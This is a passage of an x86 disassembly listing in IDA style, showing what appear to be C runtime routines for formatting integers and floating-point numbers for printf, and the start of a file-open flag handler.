		mov	[ebp+var_2C], edx


loc_40B15A:				; CODE XREF: sub_40B0C0+73j
					; sub_40B0C0+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_40B171
		test	eax, eax
		jnz	short loc_40B171
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_40B1A1


loc_40B171:				; CODE XREF: sub_40B0C0+A2j
					; sub_40B0C0+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C1F0
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_40B1A1:				; CODE XREF: sub_40B0C0+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40AF00
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_40B232
; ---------------------------------------------------------------------------


loc_40B1C2:				; CODE XREF: sub_40B0C0+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_40C270
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_40C320
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_40B232:				; CODE XREF: sub_40B0C0+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_40B24E
		jg	short loc_40B244
		test	eax, eax
		jbe	short loc_40B24E


loc_40B244:				; CODE XREF: sub_40B0C0+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_40B1C2


loc_40B24E:				; CODE XREF: sub_40B0C0+17Cj
					; sub_40B0C0+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_40B27A
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_40B27A
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_40B27A
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_40B27A
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_40B27A:				; CODE XREF: sub_40B0C0+192j
					; sub_40B0C0+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_40B2C6
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_40B2F7
; ---------------------------------------------------------------------------


loc_40B2C6:				; CODE XREF: sub_40B0C0+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B2F7
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_40B2F7
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_40B2F7
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_40B2F7:				; CODE XREF: sub_40B0C0+204j
					; sub_40B0C0+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B0C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40B300	proc near		; CODE XREF: sub_409CF0+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40C360
		pop	ecx
		movsx	eax, ax
		retn
sub_40B300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B310	proc near		; CODE XREF: sub_409CF0+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B32F
		cmp	al, 41h
		jnz	short loc_40B331


loc_40B32F:				; CODE XREF: sub_40B310+19j
		jmp	short loc_40B364
; ---------------------------------------------------------------------------


loc_40B331:				; CODE XREF: sub_40B310+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B346
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_40B364
; ---------------------------------------------------------------------------


loc_40B346:				; CODE XREF: sub_40B310+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_40B364
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40B35A
		cmp	al, 47h
		jnz	short loc_40B364


loc_40B35A:				; CODE XREF: sub_40B310+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_40B364:				; CODE XREF: sub_40B310:loc_40B32Fj
					; sub_40B310+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40C3D0
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_40B3C9
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B3A1
		cmp	al, 65h
		jz	short loc_40B3A1
		cmp	al, 66h
		jz	short loc_40B3A1
		cmp	al, 67h
		jnz	short loc_40B3AA


loc_40B3A1:				; CODE XREF: sub_40B310+83j
					; sub_40B310+87j ...
		mov	[ebp+var_44], offset word_410122
		jmp	short loc_40B3B1
; ---------------------------------------------------------------------------


loc_40B3AA:				; CODE XREF: sub_40B310+8Fj
		mov	[ebp+var_44], offset word_41011E


loc_40B3B1:				; CODE XREF: sub_40B310+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B310+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_40B41B
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B3F3
		cmp	al, 65h
		jz	short loc_40B3F3
		cmp	al, 66h
		jz	short loc_40B3F3
		cmp	al, 67h
		jnz	short loc_40B3FC


loc_40B3F3:				; CODE XREF: sub_40B310+D5j
					; sub_40B310+D9j ...
		mov	[ebp+var_44], offset word_41011A
		jmp	short loc_40B403
; ---------------------------------------------------------------------------


loc_40B3FC:				; CODE XREF: sub_40B310+E1j
		mov	[ebp+var_44], offset off_410116


loc_40B403:				; CODE XREF: sub_40B310+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		jmp	loc_40B964
; ---------------------------------------------------------------------------


loc_40B41B:				; CODE XREF: sub_40B310+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B426
		cmp	al, 41h
		jnz	short loc_40B45E


loc_40B426:				; CODE XREF: sub_40B310+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_40B45E:				; CODE XREF: sub_40B310+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_40B476
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_40B945
; ---------------------------------------------------------------------------


loc_40B476:				; CODE XREF: sub_40B310+153j
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_40B485
		cmp	al, 41h
		jnz	loc_40B68B


loc_40B485:				; CODE XREF: sub_40B310+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40B494
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_40B49B
; ---------------------------------------------------------------------------


loc_40B494:				; CODE XREF: sub_40B310+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_40B49B:				; CODE XREF: sub_40B310+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_40B4B3
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_40B4BD
; ---------------------------------------------------------------------------


loc_40B4B3:				; CODE XREF: sub_40B310+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_40B4BD:				; CODE XREF: sub_40B310+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B4E6
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_40B4EE
; ---------------------------------------------------------------------------


loc_40B4E6:				; CODE XREF: sub_40B310+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_40B4EE:				; CODE XREF: sub_40B310+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_40B591
; ---------------------------------------------------------------------------


loc_40B50A:				; CODE XREF: sub_40B310+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40C3F0
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_40C410
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40B53B
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_40B53B:				; CODE XREF: sub_40B310+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_40B560
; ---------------------------------------------------------------------------


loc_40B54D:				; CODE XREF: sub_40B310+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_40B560:				; CODE XREF: sub_40B310+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_40B571
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B54D


loc_40B571:				; CODE XREF: sub_40B310+254j
		jmp	short loc_40B57D
; ---------------------------------------------------------------------------


loc_40B573:				; CODE XREF: sub_40B310+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_40B57D:				; CODE XREF: sub_40B310:loc_40B571j
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B573
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_40B591:				; CODE XREF: sub_40B310+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_40B5A9
		fld	[ebp+var_10]
		fcomp	dbl_4100EC
		fnstsw	ax
		sahf
		ja	loc_40B50A


loc_40B5A9:				; CODE XREF: sub_40B310+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40B5CA
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40B5CA:				; CODE XREF: sub_40B310+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_40B66E
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40B5F6
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_40B5F6
		mov	[ebp+var_64], 0Fh
		jmp	short loc_40B5FD
; ---------------------------------------------------------------------------


loc_40B5F6:				; CODE XREF: sub_40B310+2CFj
					; sub_40B310+2DBj
		mov	[ebp+var_64], 0


loc_40B5FD:				; CODE XREF: sub_40B310+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B611
; ---------------------------------------------------------------------------


loc_40B60C:				; CODE XREF: sub_40B310+311j
		sub	[ebp+var_12], 1


loc_40B611:				; CODE XREF: sub_40B310+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_40B60C
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_40B634
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40B634:				; CODE XREF: sub_40B310+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_40B647
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_40B647:				; CODE XREF: sub_40B310+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B663
; ---------------------------------------------------------------------------


loc_40B650:				; CODE XREF: sub_40B310+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_40B663:				; CODE XREF: sub_40B310+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_40B650


loc_40B66E:				; CODE XREF: sub_40B310+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_40B945
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_40B945
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B310+16Fj
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B6A1
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_40B6A1:				; CODE XREF: sub_40B310+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_40B70C
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_40B704
; ---------------------------------------------------------------------------


loc_40B6E8:				; CODE XREF: sub_40B310+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40B6FE
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_410094[eax*8]
		fstp	[ebp+var_10]


loc_40B6FE:				; CODE XREF: sub_40B310+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40B704:				; CODE XREF: sub_40B310+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_40B6E8
		jmp	short loc_40B75C
; ---------------------------------------------------------------------------


loc_40B70C:				; CODE XREF: sub_40B310+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_40B75C
		fld	dbl_4100E4
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_40B74D
; ---------------------------------------------------------------------------


loc_40B731:				; CODE XREF: sub_40B310+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40B747
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_410094[eax*8]
		fstp	[ebp+var_50]


loc_40B747:				; CODE XREF: sub_40B310+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40B74D:				; CODE XREF: sub_40B310+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_40B731
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_40B75C:				; CODE XREF: sub_40B310+3FAj
					; sub_40B310+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40B767
		cmp	al, 46h
		jnz	short loc_40B773


loc_40B767:				; CODE XREF: sub_40B310+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_40B77A
; ---------------------------------------------------------------------------


loc_40B773:				; CODE XREF: sub_40B310+455j
		mov	[ebp+var_48], 6


loc_40B77A:				; CODE XREF: sub_40B310+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_40B794
		mov	[ebp+var_44], 13h


loc_40B794:				; CODE XREF: sub_40B310+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_40B83A
; ---------------------------------------------------------------------------


loc_40B7A5:				; CODE XREF: sub_40B310+53Cj
		fld	[ebp+var_10]
		call	sub_40C410
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40B7CE
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_4100DC
		fstp	[ebp+var_10]


loc_40B7CE:				; CODE XREF: sub_40B310+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_40B809
; ---------------------------------------------------------------------------


loc_40B7E0:				; CODE XREF: sub_40B310+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_40C440
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_40B809:				; CODE XREF: sub_40B310+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_40B81A
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_40B7E0


loc_40B81A:				; CODE XREF: sub_40B310+4FDj
		jmp	short loc_40B826
; ---------------------------------------------------------------------------


loc_40B81C:				; CODE XREF: sub_40B310+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_40B826:				; CODE XREF: sub_40B310:loc_40B81Aj
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_40B81C
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_40B83A:				; CODE XREF: sub_40B310+490j
		cmp	[ebp+var_44], 0
		jle	short loc_40B852
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_40B7A5


loc_40B852:				; CODE XREF: sub_40B310+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_40B875
; ---------------------------------------------------------------------------


loc_40B86A:				; CODE XREF: sub_40B310+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_40B875:				; CODE XREF: sub_40B310+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_40B86A
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40B888
		cmp	al, 46h
		jnz	short loc_40B892


loc_40B888:				; CODE XREF: sub_40B310+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_40B8AD
; ---------------------------------------------------------------------------


loc_40B892:				; CODE XREF: sub_40B310+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40B89D
		cmp	al, 45h
		jnz	short loc_40B8A6


loc_40B89D:				; CODE XREF: sub_40B310+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_40B8AD
; ---------------------------------------------------------------------------


loc_40B8A6:				; CODE XREF: sub_40B310+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_40B8AD:				; CODE XREF: sub_40B310+580j
					; sub_40B310+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40B8CC
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40B8CC:				; CODE XREF: sub_40B310+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_40B945
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40B8F4
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_40B8F4
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_40B8FB
; ---------------------------------------------------------------------------


loc_40B8F4:				; CODE XREF: sub_40B310+5CDj
					; sub_40B310+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_40B8FB:				; CODE XREF: sub_40B310+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_40B90F
; ---------------------------------------------------------------------------


loc_40B90A:				; CODE XREF: sub_40B310+60Fj
		sub	[ebp+var_12], 1


loc_40B90F:				; CODE XREF: sub_40B310+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_40B90A
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_40B932
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40B932:				; CODE XREF: sub_40B310+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_40B945
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_40B945:				; CODE XREF: sub_40B310+161j
					; sub_40B310+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40C470
		add	esp, 14h


loc_40B964:				; CODE XREF: sub_40B310+B4j
					; sub_40B310+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_40B310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B970	proc near		; CODE XREF: sub_40A6A0+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B9A0
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40B970	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9A0	proc near		; CODE XREF: sub_40B970+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_40B9CF
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_40B9DA
; ---------------------------------------------------------------------------


loc_40B9CF:				; CODE XREF: sub_40B9A0+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_40B9DA:				; CODE XREF: sub_40B9A0+2Dj
		test	ebx, 8000h
		jnz	short loc_40B9EE
		test	ebx, 4000h
		jz	short loc_40B9EE
		or	[ebp+var_1], 80h


loc_40B9EE:				; CODE XREF: sub_40B9A0+40j
					; sub_40B9A0+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_40BA01
		cmp	edi, 1
		jz	short loc_40BA0A
		cmp	edi, 2
		jz	short loc_40BA13
		jmp	short loc_40BA1C
; ---------------------------------------------------------------------------


